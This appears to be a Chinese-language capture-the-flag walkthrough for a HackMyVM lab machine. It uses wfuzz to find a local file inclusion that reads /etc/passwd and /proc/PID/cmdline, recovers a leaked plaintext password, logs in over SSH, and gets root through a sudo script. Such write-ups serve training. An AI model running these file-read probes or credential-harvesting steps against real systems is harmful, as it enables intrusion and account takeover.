┌──(kali㉿kali)-[~/HMV/114] └─$ sudo nmap -p- 192.168.1.7 -oA ports Nmap scan report for 192.168.1.7 (192.168.1.7) Host is up (0.0016s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: C6:68:89:8C:90:5C (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
┌──(kali㉿kali)-[~/HMV/114] └─$ wfuzz -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt -u 'http://192.168.1.7/file.php?FUZZ=file:///etc/passwd' --hh 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.1.7/file.php?FUZZ=file:///etc/passwd Total requests: 74332 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000006050: 200 26 L 38 W 1394 Ch "file" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests... Total time: 0 Processed Requests: 11200 Filtered Requests: 11199 Requests/sec.: 0
┌──(kali㉿kali)-[~/HMV/114] └─$ wfuzz -w nums.txt -u 'http://192.168.0.107/file.php?file=/proc/FUZZ/cmdline' --hh 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.0.107/file.php?file=/proc/FUZZ/cmdline Total requests: 999 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000001: 200 0 L 1 W 11 Ch "1" 000000239: 200 0 L 1 W 30 Ch "239" 000000251: 200 0 L 1 W 27 Ch "251" 000000400: 200 0 L 3 W 46 Ch "400" 000000381: 200 0 L 9 W 93 Ch "381" 000000397: 200 0 L 1 W 29 Ch "397" 000000395: 200 0 L 1 W 29 Ch "395" 000000396: 200 0 L 1 W 29 Ch "396" 000000391: 200 0 L 1 W 28 Ch "391" 000000383: 200 0 L 1 W 29 Ch "383" 000000379: 200 0 L 1 W 105 Ch "379" 000000378: 200 0 L 1 W 18 Ch "378" 000000376: 200 0 L 1 W 31 Ch "376" 000000374: 200 0 L 1 W 31 Ch "374" 000000369: 200 0 L 1 W 146 Ch "369" 000000415: 200 0 L 1 W 27 Ch "415" 000000448: 200 0 L 1 W 94 Ch "448" 000000414: 200 0 L 1 W 94 Ch "414" 000000411: 200 0 L 8 W 56 Ch "411" 000000481: 200 0 L 1 W 27 Ch "481" 000000486: 200 0 L 1 W 27 Ch "486" 000000485: 200 0 L 1 W 27 Ch "485" 000000482: 200 0 L 1 W 27 Ch "482" 000000483: 200 0 L 1 W 27 Ch "483" 000000557: 200 0 L 1 W 27 Ch "557" 000000556: 200 0 L 1 W 27 Ch "556" Total time: 0 Processed Requests: 999 Filtered Requests: 973 Requests/sec.: 0
爆破出来了几个进程号,分别查看,发现进程号为 381 的进程泄漏了 welcome 用户的密码:
1 2 3 4 5 6 7 8 9
┌──(kali㉿kali)-[~/HMV/114] └─$ curl 'http://192.168.0.107/file.php?file=/proc/381/cmdline' --output out % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 93 100 93 0 0 6732 0 --:--:-- --:--:-- --:--:-- 7153 ┌──(kali㉿kali)-[~/HMV/114] └─$ cat out service --user welcome --password 6WXqj9Vc2tdXQ3TN0z54 --host localhost --port 8080infinity
获取立足点
那就用这个账号密码进行 ssh 登录:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~/HMV/114] └─$ ssh welcome@192.168.0.107 welcome@192.168.0.107's password: Linux 114 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Jan 20 04:48:08 2026 from 192.168.1.8 welcome@114:~$ cat user.txt flag{user-210f652e7e3b7e7359e523ef04e96295}
获得了 user flag。
提权
sudo -l 发现 welcome 用户可以 sudo 执行两个文件:
1 2 3 4 5 6 7
welcome@114:~$ sudo -l Matching Defaults entries for welcome on 114: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User welcome may run the following commands on 114: (ALL) NOPASSWD: /opt/read.sh (ALL) NOPASSWD: /opt/short.sh
read.sh 内容如下:
1 2 3 4 5 6 7 8 9
!/bin/bash
echo"Input the flag:" ifhead -1 | grep -q "$(< /root/root.txt)" then echo"Y" else echo"N" fi
short.sh 内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
#!/bin/bash
PATH=/usr/bin My_guess=$RANDOM
echo"This is script logic" cat << EOF if [ "$1" != "$My_guess" ] ;then echo "Nop"; else bash -i; fi EOF
welcome@114:~$ sudo /opt/short.sh > /dev/full /opt/short.sh: line 6: echo: write error: No space left on device cat: write error: No space left on device /opt/short.sh: line 15: echo: write error: No space left on device root@114:/home/welcome#